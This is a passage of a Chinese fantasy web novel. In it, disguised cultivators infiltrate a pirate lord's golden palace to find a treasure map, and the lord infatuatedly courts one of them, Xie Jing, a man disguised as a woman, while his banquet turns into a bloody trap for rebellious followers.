谢璟那么想着,就准备往那个方向挤过去,人流有点多,就在他准备过去的时候,谢璟就眼尖地看到了有几名修为不赖的海盗隐藏着人群,其中的刀光寒色一闪而过。 反正应该和他没什么关系。 …… 为什么人越来越多? 谢璟想要往石泽竹那边挤,可是他发现那个方向的人越来越多了,而那里头传出了不少看乐子的声音。 “哇哦,你猜猜看,这个小子会怎么样?” “嘿?这还用猜?你是没有看到那位的脸色吗?那位的心情可算不上太好哦。” “来来来,打个赌,就赌这小子完蛋还是不完蛋如何?” 众人看乐子的心是如此热切,甚至还有人私底下开了个口头赌局,兴致勃勃得很。 谢璟混在人群里翻了白眼,正准备离开的时候,他突然听到那里头传来石泽竹那满含歉意的声音,“对,对不起,我会赔你的……” 谢璟猛地往那边挤过去,他挤过去后,就看到石泽竹一脸害怕地低下头,手指正紧张地抠着衣角。 什么情况? 泽竹不像是会惹事的人啊?就算这里站的是其他人,都不太可能是他好吧? 正想着,谢璟就看到那为首的那个家伙身上挂满了闪闪发光的宝石,一看就特别贵气,与此同时,他身后的人接下了石泽竹的话:“你以为撞了人抱歉就完事了吗?你睁眼看看你撞的是谁?” ……谁啊? 石泽竹和谢璟都不认识。 他们都在这人说完话后,拼命地回忆着这张脸,他们到底在哪里见过,说那时那时快,这个叫嚣的小弟抬起腿踢了石泽竹一脚。 石泽竹似乎想要抬起手,手上已经呈现握拳趋势,但是他又想起什么,就只是动了动手臂挡住了这一击,他没有飞出去,只是摔在了地上。 “你还想躲!!”踢人嘴脸简直面目狰狞,谢璟看了一眼,又看一眼,他想起了计划,计划里能不惹事就不惹事,如果可以就尽量低调。 所以谢璟握紧的拳头又松开,他开始给自己找理由,毕竟这里是别人的地盘,如果闹出事了,很容易引起注意,从而导致…… “……真无聊。”领头的人看着这一幕,发出了那声闲叹,他摆了摆手,“拖……” 那声下去还没出来,一道身影就拦在了石泽竹面前,这领头定眼一看,发现是个身材高挑的美人。 他顿时眉头一松,脸上也难得多出了几分笑容,“这位美人我似乎从未见过,是从哪里来的?” 谢璟没回答,他先侧头看了惊讶的石泽竹一眼,随后转头对着这个领头道,“他是与我一起的,可否请大人高抬贵手……” 还没等他说完,这领头的就自然而然地大手一挥,将谢璟往自己身上揽去,一副果然如此的自信模样。 而这一切发生的时候也是一瞬间的事,只见谢璟握紧了拳头狠狠地打在了这个人的脸上,那声响清脆得也不知他用了多大的力气。 过来的唐山玉等人目睹了这一切,他们连阻止的机会都没有,此时此刻,时间仿佛过得很慢很慢,在谢璟这一拳头落下后,他心里很快浮现出对于这场意外的看法。 只有两个字: 完了。 第184章 玫瑰 庄子枭,一位喜爱钓鱼的大海盗,出门爱佩戴华丽的珠宝彰显身份,在家里喜欢抱着金银珠宝入睡。 偶有美人相伴,也极喜对方戴满金银的样子,这样的夜晚才不会如此无聊。 但是这样子的生活持续太久,已经让庄子枭有些乏味,所以他打算找点新乐子,可是大海上来来往往的人很多,没意思的那可太多了。 所以庄子枭没有能找到什么乐子,龙族嘛,那边也没什么意思,看来看去还是那几样,有点意思的也就之前那个过来找他的龙族。 要说他喜欢的乐子,陆地上估计有很多。 可是他暂时不能回去大陆,所以只能在茫茫无际的大海里飘啊飘,而钓鱼就成为了他唯一的乐趣了。 这天,他依旧穿金戴银地出门,走在路上,享受着各方视线的瞩目,当然,其中还有些不怀好意的。 被那个大高个撞到实属让人意外,因为庄子枭没有想到自己都这样站这里了,还有人没眼色撞过来,再一看这张陌生的面孔,很好,他不认识。 不过,这不妨碍对方想要害他的可能。 所以庄子枭是打算把人拖下去好好审讯一番,如果都不出结果,那就丢去喂鱼吧,反正只是个无人在意的小角色而已。 就算死了也不会有什么改变。 当那个美人站出来的,庄子枭也是那么想的,他还有闲情逸致地想着这美人莫不是为了刺杀他而来的?如果是的话…… 那还真是有点意思。 想杀他的人很多,如果对方施展一下美人计也不是不能接受。 但是一上来就给他一拳的美人,他还是第一次见,因为没有想到,所以就忘记去防备,这一拳头直直地打了庄子枭的脸上,那疼痛感自脸部蔓延开来。 最后,庄子枭捂住了脸,周围一片安静,包括了刚刚打了他的美人儿。 呵,看来是怕了…… 庄子枭决定给她一次机会,毕竟那么辣的美人很少吃,稍微吃一口也不是不可以…… 可是美人的眼睛里丝毫没有畏惧,反倒是那份浓浓的杀意不停地于眼底浮现,这让抬头看过来的庄子枭微微一愣。 紧接着,美人的身边出现了好几个人,他们似乎都在询问美人的情况,但是美人那冷冷的眼神一点都不吝啬地分给围过来的人。 怦怦怦…… 心脏在兴奋地跳动着。 “…没事吧?”唐山玉看了一眼周围,得知他们目前的偷偷潜入计划失效了,他们的计划就是扮演来岛屿上卖艺的艺人,因为在他们来到岛屿的时候看到了大海盗庄子枭在举行宴会,要求召集不少艺人过来报名。 而表演者可以出入庄子枭入住那座宫殿,他们是打算借此机会好好探查一番这个宫殿的格局,便于后边的潜入。 秦兰时和任海说了,关于那个大海盗庄子枭可以和他们打个五五开,所以就建议他们这些小辈不要单独遇上。 而那个美人计,是备用中的备用,不到万不得已,没人想对这个大海盗实施美人计。 “没事……”谢璟感觉到自己的拳头有点痛,没想到这个人的脸还挺硬,果然这就是传说中的脸皮厚吗? “他们的修为不容小觑,待会有什么情况,你们先跑。”秦兰时私下传音给这几个小辈,随后他看了一眼站在旁边也准备作战的任海,“不到万不得已,你们不要轻易相信任海,知道吗?” “师父,你是打算……”唐山玉闻言一愣,这番话是开打的趋势啊。 “嗯,如果可以的话,你们记得去灵舟上,你知道的,其实我们还有一件秘密武器……”秦兰时手指微动,他稍微驱动一下体内的灵力,发现还算充裕,应该可以拖不少时间。 “那你……”怎么办? 这声话还没问出口,对面的庄子枭往上撩了一把卷发,对着这边露出了看狗都深情的眼神,接着,他就如同孔雀开屏一样走了过来,站到了谢璟的面前,只见他先是彬彬有礼地行了个礼,下一秒,他手上变出了一朵白玫瑰。 这朵白玫瑰就那么递过来,递到了谢璟跟前。 谢璟:…… 其他人:? “美人……”庄子枭笑容无比灿烂,就算顶着脸上的伤,也掩盖不了此时此刻他身上的那种阳光帅气的气质,“在下可否有幸得知美人的名字?” 谢璟本能地往后退了一步,还没等唐山玉阻拦,那声滚字就那么从口中蹦出来,蹦得周围更加安静了。 人们都用一种这个女人疯了的眼神看着谢璟。 谢璟……谢璟说完一声滚后也意识到了不妙,但是他刚刚真的是出于本能,毕竟在这个人凑上来的一瞬间,谢璟满脑子写着抗拒二字,所以他想也不想就往后退了一步。 真想这一退就是一辈子。 然而这并不可能,退了后,眼前的庄子枭肉眼可见地兴奋起来了,他先是把手上的玫瑰一收,清咳了一声,随后看向了震惊到其他人,“几位是和美人一起来的?美人的朋友果然都是美人呢~” 秦兰时哈哈一笑,甩了甩手,“多谢大人的认可,我们是流浪艺者,碰巧经过此处,准备在这里赚些银钱好继续上路。” 言下之意,他们很快就要走了,待不久的。 庄子枭啊了一声,随后拍了拍手掌,立马来了好几个粗壮的大汉,这些大汉无疑都对他的命令面露恭敬,“几位如果是想要赚钱的话,何不来我黄金宫表演才艺,正好,最近我有宴会要举办。” 秦兰时:…… 你小子就是庄子枭啊??? 不约而同,参与过这次计划的人,都想起了那个被众人放在备用中的备用:美人计。 这这这,这个美人计之所以那么备用,除了大伙们都不太愿意之外,还有他们都觉得这个计谋没什么用,毕竟那种大人物怎么会突然就痴迷于一个小小美人。 真痴迷了。 于是谢璟可以感觉到来自后边的那些视线,除了伙伴们的,估计还有围观的那些看戏的,伙伴们的还好,其他人的视线那是真的浑身不适。 “美人?怎么样?”庄子枭还在等待着谢璟的回答,不过他已经打算好了,就算美人拒绝,他也要把人带回黄金宫里头,问一下只是为了能不能获得美人的好感。 就在这时,突地,人群里冒出了几个黑衣人,他们不约而同地朝着庄子枭攻击而来,手上的刀剑于阳光下闪得刺眼。 安静的人群一下子闹腾了起来,他们纷纷惊呼地看着这一幕的发生。 “哎呀,真是煞风景……”庄子枭微微转过头来,看着朝他奔过来的那几人,他身边的随从上前去拦住了那几个黑衣人,一场乱斗就那么爆发了。 只见一个实力不错的黑衣人从中挣脱而出,他的目的也非常明显,就是站在那里的庄子枭,庄子枭笑眯眯地看着他奔过来,那锋利的刀仿佛下一刻就要砍在他的身上。 下一瞬,那朵白玫瑰再次出现在了庄子枭的手上,只见他于那白玫瑰上轻轻落下一吻,浅笑着看着谢璟,接着,那玫瑰被他往外抛了出去,玫瑰的根茎划破了冲过来黑衣人的脖子,鲜血飞溅,落了个漫天血雨。 最后白玫瑰重新回到了庄子枭的手上,可那朵玫瑰已然被鲜血所染红,血还在花瓣上滴落着,而这朵红玫瑰被庄子枭再次递了上来。 递到了谢璟的面前。 “不知,现在……庄某可否得知美人的名字?” 玫瑰上滴着血,诡丽又优雅。 …… 威胁,这是活脱脱的威胁。 这不是威胁,他谢璟就把唐山玉的头倒起来洗。 第185章 准备 最终迫于威胁,谢璟接过了这朵红玫瑰,而对方也得知了他的假名,景,非要说,同个师徒起的假名都很敷衍。 要么谐音梗,要么变个顺序。 可能,最危险的地方就是最安全的地方。 再后来,谢璟被这个庄子枭带进了黄金宫里,连同他的伙伴们,只不过他住的房间和其他人的房间不太一样。 他的房间金碧辉煌,每个家具摆设都尽显贵气。 而唐山玉他们住的地方,是一间间普通的房间,家具摆设都很整齐,是非常正常的房间,但是比起谢璟,他们的房间显得是那么的简陋,那么的小。 “……你要不从了吧?这样你就吃喝不愁了。”唐山玉参观完了谢璟的黄金大房间,发出了这样的感叹。 “…你怎么不从?”谢璟的脸色因为这句话变得阴暗无比 “人家又没看上我呀~”唐山玉颇为得意地挺一下胸膛。 “哦,懂了,要是看得上就从了是吧,秦师叔,你怎么看。”谢璟的眼神直直落在了唐山玉后面,把唐山玉给吓得一个猛回头。 然而,他后边并没有人。 与此同时,谢璟一脚把这个人给踹出了大房间,唐山玉飞了出去,滚在了黄金大地板上,一时之间忘我得有点不想起身。 “……你做什么?”收回脚的谢璟看到人就那么趴着,一副欲言又止的表情看过去,“又犯病了?” “是的,我犯了红眼病和穷病。”唐山玉深情地抚过这黄金地板,“我能抠点带走吗?” “……去我看不到的地方抠,你个丢人现眼的家伙。”谢璟实在是不想承认自己认识这个人,随后他狠狠地关上了大门,独留唐山玉在外边的地板上流浪。 “…唉。”唐山玉见门关上了,就自地板上坐了起来,他瞥了一眼不远处一闪而过的人影,便懒懒地伸了个懒腰,“有点麻烦啊,麻烦……” 幸好人看着没什么事,反正看着还能够活泼地生气。 比起这个,也不知道这个宴会什么时候开始,这个黄金宫很大,他们一时半会还看不完。 所以那个藏宝图会被放在哪里呢?要不要让谢璟去打探一下?可是这样子的确有点委屈谢璟了。 唐山玉再这样也不想让一个心有所属的可怜家伙为了任务去出卖色相啊,这显得他们太没有用了!! ……对不起。 他们就是很没有用。 众人再度齐聚小小房间里,个个唉声叹气的,就连平时猛猛干饭的石泽竹都看上去整个人瘦了一圈,这显然很不妙。 “…要不,直接表明身份谈判吧?”唐山玉似是下定了某种决心,握紧了拳头,“不行,咱们把地图卖了就跑好了,没必要和他们硬碰硬。” “…唐哥说得有道理,就这样吧。”胡长乐因为日夜搜索黄金宫,整个人都散发着牛马疲惫的气息。 石泽竹也缓缓点了点头。 “既然大家都没有异议………轻轻?”唐山玉扫视了一下大家的表情,突然,他看到了慕轻轻举起了手,似是有话要说。 慕轻轻看了过来,对唐山玉快乐一笑,这一笑,笑得唐山玉有些许迷茫,“我有异议,我觉得不能就那么算了,计划是可以变更的。” “…啊?”唐山玉闻言一愣。 “轻轻说得有道理啊……”秦兰时也就紧跟着冷笑出声道,他拍了拍身上的珠宝,哼了一声,“我还就不信了,区区一个藏宝图我还找不到了?” “…他到底把东西藏哪里了……”任海脸色阴沉地拿着手里的弯刀对着石头磨了几下,一副准备就绪的模样,只是,他准备了什么? 刀上散发着刺眼的光折射在众人的眼睛里,唐山玉莫名感觉到他们身上燃起了某种奇怪的胜负欲。 “…?不是,你们……?”唐山玉伸出手似乎想要阻止什么 可是没有等他说完话,秦兰时就率先开口了。 “他不是喜欢美人吗?既然谢璟办不到的话,那我亲自过去试试美人计吧?“秦兰时毫不犹豫地拍了一下桌,拍得唐山玉抬头看了看,自己头上有没有顶别的东西。 “或许,他喜欢别的呢?哈,谢璟那个家伙冷着脸就那么惹人喜欢吗?”慕轻轻也这样觉得,其实在她看到谢璟的房间如此光鲜亮丽,她一个龙族居然住那么普通的房间,实在是太失礼了,是会回去被那群家伙笑的程度啊。 “…我觉得,他可以试试新口味。”任海拿出了一面小镜子看了看自己的脸,“当初我媳妇就是因为这张脸才和我在一起的。” 唐山玉:…… 这不对吧? 这能对吗? 唐山玉连续在心里扣了一堆问号,最后他出声制止了这越来越偏的计划,“不对,又不是只有美人计这一招啊,我们可以想点别的,不是说好这是备用中的备用吗?” “谈判吗?” “我觉得谈判应该摆在美人计之后。”秦兰时很是深思熟虑地道。 慕轻轻打了个响指,“实在不行,我们换个人用美人计,他身边不是有不少下属吗?” “…不要再说美人计了……明天就是宴会了,或许可以浑水摸鱼。”唐山玉捂住了耳朵,这个美人计是谁提出来的,哦,是慕轻轻,这孩子也太积极了。 “浑水摸鱼使用美人计吗?”慕轻轻非常积极地看着唐山玉,然后眨了眨眼,“我是真的觉得可行啦~” “…嗯…我觉得也不是不行,对了,我可以用,山玉你不可以用这个美人计。”秦兰时点了点头,觉得此话在理,下一秒,他想起了什么,转头看向了唐山玉。 唐山玉:? 还要求上了。 就在众人还要商讨什么的时候,房间门就被人从外边打开了,他们回头一看,发现是谢璟,只见谢璟依旧是那黑如锅底的阴沉脸色。 “你来了……”唐山玉率先开口,他觉得谢璟来得正是时候,就积极地迎接上去,“你最近有打听出什么吗?” “有一点,不多,毕竟这种事情他们不会当着我的面上,不过……比起这个,我今天还遇到一件事。”谢璟看了看外边的情况,没有人,随后他小心翼翼地关上了门。 “有人找上了我,先是试探我对庄子枭是什么态度,最后又以你们为条件,想要我去刺杀,如果我不答应的话,估计他会为了灭口杀了我。”谢璟脸色在门关上后才渐渐好了不少。 “为了隐藏自己,我答应了,然后他说会安排人手过来把你们给运出去。”谢璟简单说一下对方的安排,说是弄什么箱子然后当做运货运出去那种方法。 “看起来这个庄子枭还挺多人想要杀他的。”秦兰时拿着块宝石往上抛了抛好几下,“那么你要刺杀吗?” “看情况吧,虽然对方好像提议我试试能不能色诱……你们怎么突然这样看着我?”谢璟刚说完,就接收到了这群家伙的赤裸裸目光。 “退一万步来讲,这个庄子枭就那么公认的被人认为会因为美人计刺杀成功吗?”唐山玉觉得这刺杀任务是不是有点敷衍,感觉就和送谢璟去死一样,“甚至还把任务交到了你表面上是菜鸟的手上。” “…我也有尝试过打探对方的目的,但是他什么也不说,不过他说今晚会给我送刺杀用的匕首……”谢璟说到这里,就露出一抹淡淡的笑容,看向了他们。 “哦?我懂你的意思了。”唐山玉听到这里就明白了,接着他看向了伙伴们,拍了拍手,“咱们终于有活干了。” 是夜。 某黑衣人潜入谢璟房间,他看着已经坐在那里等着的谢璟,松了口气,就那么慢悠悠地走上前来,“看来你准备好了。” “嗯,算是吧。”谢璟缓缓转过身来,就那么看着他,他那黑如锅底的脸上难得露出一抹笑意。 黑衣人一愣,毕竟接触下来,对方的态度是真的不算很好,要不是这个女人好像独得庄子枭那厮宠爱,他也不会过来找她。 “你知道就好,总之这是……” 与此同时,黑衣人的背后缓缓出现了一双双明亮无比的眼睛。 这些眼睛齐刷刷地盯着这个黑衣人,于黑暗里,就那么看着他。 第186章 宴会 宴会于今天举行,美妙的丝竹管弦之乐于宫殿里徘徊,空中弥漫着浓郁的玫瑰花香,人们欢歌笑语地于此间走动,他们手上拿着金杯,杯里装着醉人的葡萄酒。 一颗硕大的红色果实被人咬下,汁水四溢,甜蜜的嗓音渴求着那份甘甜,果肉被人剥开外皮裸露出来,它是如此的诱人,让人想要将其吞下。 “大人,您在想什么?” 庄子枭回过神来,看着盘于他脚边的女人,这个女人有着一头像酒一样迷人的红色长发,她是如此的美丽,如此的顺从。 “哦,我美丽的若烟,我只是在想念景美人的身姿,你知道的,我是如此期盼着她那张冷若冰霜的脸露出其他的神情。”庄子枭抬起手撩起女人的一撮长发,于上面落下一吻。 “大人最近真是喜爱那个女人呢~”若烟有些嗔怪地用指尖轻轻点了点庄子枭的手背,像在埋怨,实际上她的眼里什么也没有。 “嘛,毕竟,很少看到我把一堆金银珠宝放在面前都不为所动的女人了,更何况还对我冷着一张脸,真是无比的迷人。”庄子枭心情很好地举起酒杯,随从见此就上前去给他倒满了酒。 “说起来,小景景如何了?怎么还没见她出来?”喝了几口酒后,庄子枭似是才刚刚想起什么,问了一声。 “大人,景姑娘她说还需要点时间准备,让大人你等一下她……”另一个随从上前一步汇报道。 “…她真那么说?原话是什么?”庄子枭觉得这不对,这话语太平和了。 “…她说,要等就等,不等就拉倒,她还不想来呢。” 庄子枭顿时舒服了,于是心情更加好地挥了挥手让随从下去。 “那我就等一下吧。”庄子枭继续拿起那金酒杯,喝了一口,他抬起头,看了一眼某处,那里站着一道笔直的身影,细看下,是一位戴着半边银色面具的男子,而他似有所觉看了过来。 庄子枭对他点了点头,那男子就转过身去,穿过欢笑的人群,隐入黑暗里。 宴会还在继续,鲜花,美酒,歌声,中间升起一团篝火,吃饱喝足的狮子被关在笼子里,它半眯起了眼看起周遭的一切,金碧辉煌的宫殿里头弥漫着醉人的酒香,舒服得让人不由得想要就此沉迷。 “大人,景姑娘来了。” 庄子枭回过神来,随后他看了过来,就看到谢璟穿得很是华丽地走过来,而路过的每一个人看过来,他都对这些人给予一个臭脸。 不由得,庄子枭嘴角微微勾起,他朝人挥了挥手,示意谢璟坐他身边,而若烟也十分有眼色地起来,来到了比较远的地方坐下。 谢璟看着这个旁边,他实在是不想坐过去,真要坐他想主位,不过,今天还是暂且忍一下吧。 于是他坐下来,非常明显地和庄子枭有一段距离,还没等谢璟松口气,只见庄子枭大手一挥就将谢璟揽了过来,凑近来,于人耳边亲昵低语,“你今天真好看。” 谢璟顿时起了一身鸡皮疙瘩,他猛地将人推开,很是凶恶地说,“别碰我,不然我就剁了你的手。” 庄子枭不知道听了多少遍,只见他一副习以为常的模样,“哎呀,美人好生凶狠,不过,我喜欢~” “…求你别喜欢。”谢璟头一次用如此恳求的语气说道。 “哈哈哈哈哈!!”庄子枭笑得很是开心,引得周围人都纷纷看了过来,“诸位莫要拘束,今天这场宴会就是为了开心,都跳起来!喝起来!!” 谢璟觉得很无语,他不由得开始散发起了思维,昨夜他们把那个过来送匕首的人绑起来审问的时候发现,原来他们的目的也是那个藏宝图。 细问下,才发现这场宴会其实邀请的都是追随庄子枭的海盗,他们过来是因为庄子枭要分享藏宝图的事情。 可是藏宝图另一半不是在他们手里吗? 但是他们从这个小黑衣嘴里套出来的却是庄子枭手上有着完好无损的藏宝图,特地邀请诸位海盗前来观摩一番。 …总觉得这场宴会有些不对劲。 虽然听起来好像是上司邀请下属过来看看成果什么的,但是这场宴会却发现了刺客,作为下属想要刺杀上司,倒是有点意思了。 “哇哦,有点鸿门宴的感觉呢。”听完这个小黑衣的描述后,秦兰时就把人打晕了,打完后就转身看向诸位,“我猜,想要刺杀庄子枭应该不只有一个。” “藏宝图会不会是一个幌子呢?又或者,他发出这个信息,是想要让另一半藏宝图的持有者得知,然后前来参加宴会?”唐山玉坐在华丽的大床上,翘起二郎腿开始想起了事情。 “那我们岂不是中套了?不,不对,藏宝图原先并不是我们的,我们不过是后来者,更何况我们还不是海盗。”慕轻轻跟着唐山玉也坐在了华丽的大床上,她舒服地调整好了坐姿。 “那我们接下来要怎么办?感觉刺杀什么的就算我们不做,也有其他人做的。”胡长乐也坐上了华丽大床,她坐了一下就躺下了,软绵绵的床让人困意浓浓。 “我只是担心那个海盗会对谢璟动手……”石泽竹满是担忧地坐上华丽大床,他整个人呈现思考状,尽管他的脑子有点转不过来,“如果可以,早点解决我们就回去吧。” 谢璟沉默地看着自己的华丽大床,头一次觉得这个床有点拥挤,不过也就沉默了一下,他就顺着他们的话说下去,“如果真的是这样……我怀疑当天宴会可能会比较混乱。” “要不干脆趁着混乱的时候……把他的宫殿烧了吧?”谢璟说着,也坐上了华丽大床,大大的床就这样坐满了人。 “哇,那么狠,谢璟,你是有多恨啊!”慕轻轻发出了一声感叹。 “不是恨的问题……”谢璟想了想继续解释道,“先前我应该是和他打过一些交道。” “我想起来了,是虐杀鲛人的事情吧?” “嗯,如果我名字没有认错,或许他和这件事有点关系,再说了……”谢璟冷冷地看了过来,“他就是个爱好烧杀抢掠的海盗,和海盗讲什么道理。” “嗯,我赞同谢璟的话。”唐山玉点了点头,“而且当初他看谢璟的眼神那叫一个势在必得啊,要是谢璟不同意,我们就一起遭殃哦,而且连宫殿也住不上。” “我觉得我们可以不用提起这件事的。”谢璟每次回忆起来都心里难受得很。 秦兰时见人都坐下来了,他看了看周围,选择忽略摆在不远处的椅子,直直地坐在了唐山玉的大腿上,并且十分亲昵的伸出手勾住唐山玉脖子。 众人:…… 自从被知道后,你是装都不装了吗? 而任海对此一愣,不过很快就回过神来,他拿了椅子过来,在华丽大床的面前坐下了,“我对这位大海盗的事情知道不多,该说我应该都说了……啊,好像有件事我忘记说了。” …… 宴会进行到了最高潮,狮子打着哈欠被请出了笼子,它眯着眼走过来,盘在了庄子枭的脚边。 “差不多了,该请出我们的主角了。”庄子枭拍了拍手,让随从端起一个盘子,盘子上面摆着一张被卷起来的羊皮纸。 “这就是诸位想要看的藏宝图,也是那个传说中的海洋尽头珍宝,我想你们都很好奇吧?来,去给我亲爱的伙伴们看看吧。”庄子枭拿起金杯,摇晃了一下里头的酒,酒呈现红色。 传说中的宝藏。 此话题一出,众海盗发出了一阵一阵的欢呼。 他们居然还能观摩一番,实属荣幸。 这说明大海盗庄子枭对他们充满信任,并且肯定存了要带领他们探索秘宝的心。 ……真是这样吗? 在一个人接过那张藏宝图后,还没等他看一眼,突然间,他眼前的视野就发生了变化,于天空,掉落于了地上。 血,淋在了藏宝图上,也让所有人都为之一震。 “哈哈哈哈……” 任海的话仿佛还在耳边,他说,“这个大海盗除了那个海王的名头外,其实还有一个,不过那是过去的事情了,因为他最近有些修身养性,并且一直钓鱼不管事情,所以大伙们就给他起了海王的称号来调侃他。” “而他本人也很喜欢这个称呼,所以就让大家都那么叫了。” “而关于庄子枭的另一个名头是……” “下一个。” 暴君。 第187章 钓鱼 等一条鱼上来,需要有足够的耐心。 等许多条鱼上来,就需要付出足够多的时间。 庄子枭在后来极喜钓鱼,每一条鱼钓上来后,那会让他有极大的满足感。 这天,依旧有人在向他汇报事情,而庄子枭盯着平静的海面,鱼饵已经落下,只需要等到长线发生变化,他就能将其钓起。 “这样啊,看来有不少家伙对我感到很不满意呢……”庄子枭轻叹了一声,他此时此刻像个经历不少沧桑的老人,可下一秒,他又无比委屈地道,“怎么能这样呢?我对他们不好吗?” 下属没有回答,因为这不属于他能够应答的范围。 “真是的……哈啊,这次的鱼饵没有被吃掉呢。”庄子枭将那鱼竿往上抛去,他看了看钩子上那没有被吃掉的鱼饵,真心实意地叹了口气,“是不喜欢吃吗?” …… 依旧没有人回答。 “…真没意思,那就换一个吧?嗯……我记得好像有个会让人为之而疯狂的宝藏,就用它作为鱼饵,引那些鱼上钩怎么样?”庄子枭突地笑了一下,他换下了鱼钩上的鱼饵,哼着悠长的曲调。 “属下这就去办。”下属自然没有什么异议。 “嘘,你只需要准备好鱼饵就好,身为钓者,钓鱼这种事情当然是亲力亲为才有意思呀~” 就比如现在,在血色里,远处的篝火还在不停地燃烧着,人们纷纷停止了手中的酒杯,眼睁睁地看着这场热闹的发生一样。 乐声依旧徘徊在金色的宫殿里,它们仿佛受到了专业的训练一样,节拍丝毫没有出错,而在人死去的时候,节奏也来到了最高潮。 “哎呀,你们怎么都不笑啊?”庄子枭有些疑惑,抬手摸了摸伏在自己脚边的狮子,“是我的宴会不合诸位心意吗?” 谢璟坐在一边,继续保持沉默,可庄子枭似乎没有打算放过他,而是笑眯眯地歪了歪头,“小景景~小景景~你看都冷场了,你要不要做点什么让大家开心一下?” 做什么?刺杀你来热闹一下吗? 谢璟怀疑这个人的话里头就是这个意思,接着,他冷笑了一声道,“不要,我就要让你宴会冷场不开心。” “你这人活该如此。” 庄子枭愣了一下,然后发出了惊叹,“天啊,小景景,你这是笑了吗?也太好看了,再多笑笑嘛~” “哦?我再笑笑,你会把命给我吗?”莫名的,谢璟想起曾经秦兰时对唐山玉输出的奇怪文案,他收起了笑容,就那么看了过来。 “这种事情当然……”庄子枭闻言笑了一下,刚想回答什么,人群里头就突然吵闹了起来,无数黑影涌动着,随后鱼贯而出,全部朝着庄子枭所在位置袭来。 谢璟见此果断拉开自己和庄子枭的距离,滚动在了一旁,而庄子枭看着这样无情的举动,也只是叹了一声,“真是……” “有够无情的呀~”他抬起头,身旁的狮子也慢悠悠地站了起来,庄子枭看着袭来的那几人,笑眯眯打了个响指。 空气里蔓延出了无数漂浮的水珠,它们在操控下变成了利刃,朝着这些黑衣人攻击而去,水的颜色逐渐从漂亮的蓝变成了骇人的红。 与此同时,慕轻轻,石泽竹和任海三人在某条走廊上穿梭着,他们身上裹着黑袍,恢复了原来的服饰,正努力融入这片黑色里。 “把这些地方都点燃就可以了吧?”石泽竹看了一眼被标记过的房间,“山玉说把这些点了,今晚就会更加混乱了。” “嗯,既然我们有可能是对方想要钓的鱼,还是趁早离开这趟浑水比较好,可惜了,原来藏宝图有那么大的可能是假的~”慕轻轻幽幽叹了口气,她心心念念的宝藏化为泡影了。 “轻轻,你一开始也没那么想要啊……”石泽竹想起一开始对宝藏兴奋的,除了他,也就胡长乐和唐山玉有兴趣而已。 “正所谓,得不到才是最好。”慕轻轻对石泽竹调皮地眨了眨眼,“好了,我们快点……” “等等,有人。”任海突然拦住了俩人前进的步伐,警惕地看向某个房间,而那个房间里的人也应该是发现了他们的存在。 “…什么情况?这种时候不是应该都在宴会吗?就算是守卫,哪有站在放好宝藏房间里头的守卫。”慕轻轻闻言皱起了眉头,她唤出了她的鞭子握在了手里。 “……”石泽竹屏住呼吸,随后就全神贯注地盯着那个有人的房间。 “或许是来趁着这次混乱出来偷东西的小贼?”任海也不是很确定,不过他将两个小孩护在了身后,而慕轻轻则是抬头看了他一眼,又很快收回了视线。 “我们……还要点燃这个房间吗?”石泽竹小心翼翼地询问道。 “这个……”任海也不是很确定。 “点,怎么不点。”慕轻轻抬手往后甩了甩头发,冷笑道,“既然来偷东西,自然要有被发现的觉悟才是,可不能因为他而耽误我们的计划。” 石泽竹立马话也不说,就上前去把房间给点了,而任海也跟着释放了火,火因为释放者的实力,表现的燃烧强度也不一样,任海放出的火瞬间将周围都燃烧起来了。 而随着房间被烧起来,里头的人也从里头窜出来,而他们也看到了里头那人的模样,他戴着一张半边的银色面具,穿着一身黑袍子。 可能黑袍子非常利于做坏事。 所以两边的黑袍子就那么碰巧地相遇了。 “看上去好可疑。”先发出质疑的是慕轻轻,她指着这个人,转头对任海期待地道,“任前辈,能抓吗?” 任海微微拉低一下兜帽,“嗯,我尽量。” 石泽竹则在旁边盯着这个人,一直盯着。 这个人似乎发现一打三讨不了什么好处,就转身准备逃离,不过任海速度比他更快,几乎是一瞬间的事,任海就来到了他的面前,对着他的肚子狠狠来了一拳头。 这个人就那么飞了出去,滚在了地上,他立马又调整好了姿势,重新站起来,抬手擦去嘴角上的血。 “前辈!如果太费时间就算了!!”慕轻轻在后头大声喊道。 而石泽竹也来到了这个人的身后,似乎也想要给这个人一拳头,不过却被他灵活地躲开了,不仅如此,还被一脚给踢飞。 “呃!”石泽竹飞出去,飞得不算远,下一刻,他双脚撑住了上方的天花板,只见他猛地踩住天花板来个弹跳,又再次冲了过来,这次的速度比之前还要快上不少。 这个人见此就唤出灵力罩防御住了这一击,可还没等他松口气,他的身后出现了任海的身影,任海他挥起了拳头,狠狠地打在了灵力罩上,灵力罩立马碎掉,而石泽竹的攻击也顺势打了进来。 好一个前后夹击,慕轻轻看得很是津津有味,既然他们好像不需要帮忙,那她就继续看戏吧,反正山玉那边还没结束。 而任海的这这一击实属有点猛,再加上石泽竹的攻击,在这双重打击下,他往后退了好几步,身上的黑袍子也因为灵力变得破破烂烂了起来,很显然是袍子上加持的防御被破开了。 与此同时,面具也在这次攻击下被震碎了,露出了下边的脸,那是一张陌生的脸,也是一张伪装过的脸,非常的不起眼,非常的普通,是投入人海里是不会找到的程度。 “打他脸!”慕轻轻在一边指手画脚起来了,“他一看就不擅长近战。” 任海和石泽竹互相对视了一眼,就挥拳朝着人的脸上打去。 “事情结束啦~小景景~快来我的怀抱吧~”庄子枭站在中间,满身是血地对站在那边的谢璟张开双臂,这让谢璟猛地往后退了几步。 “我不要,你滚开。”谢璟拒绝了他,接着,他似是想起什么,反正都打算走了,不如就直接了当地坦白好了,“还有,我不是女的,我是男的。” “……………” “所以你还是放弃吧………?”谢璟还想继续打破人的幻想,突然,他发现对方脸上的表情更加古怪了。 “天啊,更兴奋了。” 谢璟:…… 所以山玉你们什么时候能够过来!!! 他现在就想逃离这个地方!! 第188章 祈祷 许是谢璟内心的过于急切,远在灵舟上的唐山玉打了个大大的喷嚏,在旁边的胡长乐还在试图操控灵舟,突然手一抖,灵舟歪了一下。 “哎哎哎?”胡长乐连忙又稳回去,所幸灵舟只是摇晃了一下。 “没事吧?”唐山玉在旁边问道,他走过去,抬起手,“要不我来吧,你去秘密武器那里待着,要是遇到什么情况你就发动它就好了。” “啊?那个秘密武器真能动吗?是真的吗?”胡长乐想起那秘密武器,发出了最真挚的疑问,“这到底是个什么原理?” “原理吗?用以前的世界解释,就类似于……”唐山玉还想说什么,突然,他接收到了秦兰时发给他的传信。 “……” “怎,怎么了?”见人安静了,胡长乐说话的声音也渐渐小了起来,她探头探脑地观察着唐山玉此时此刻的表情。 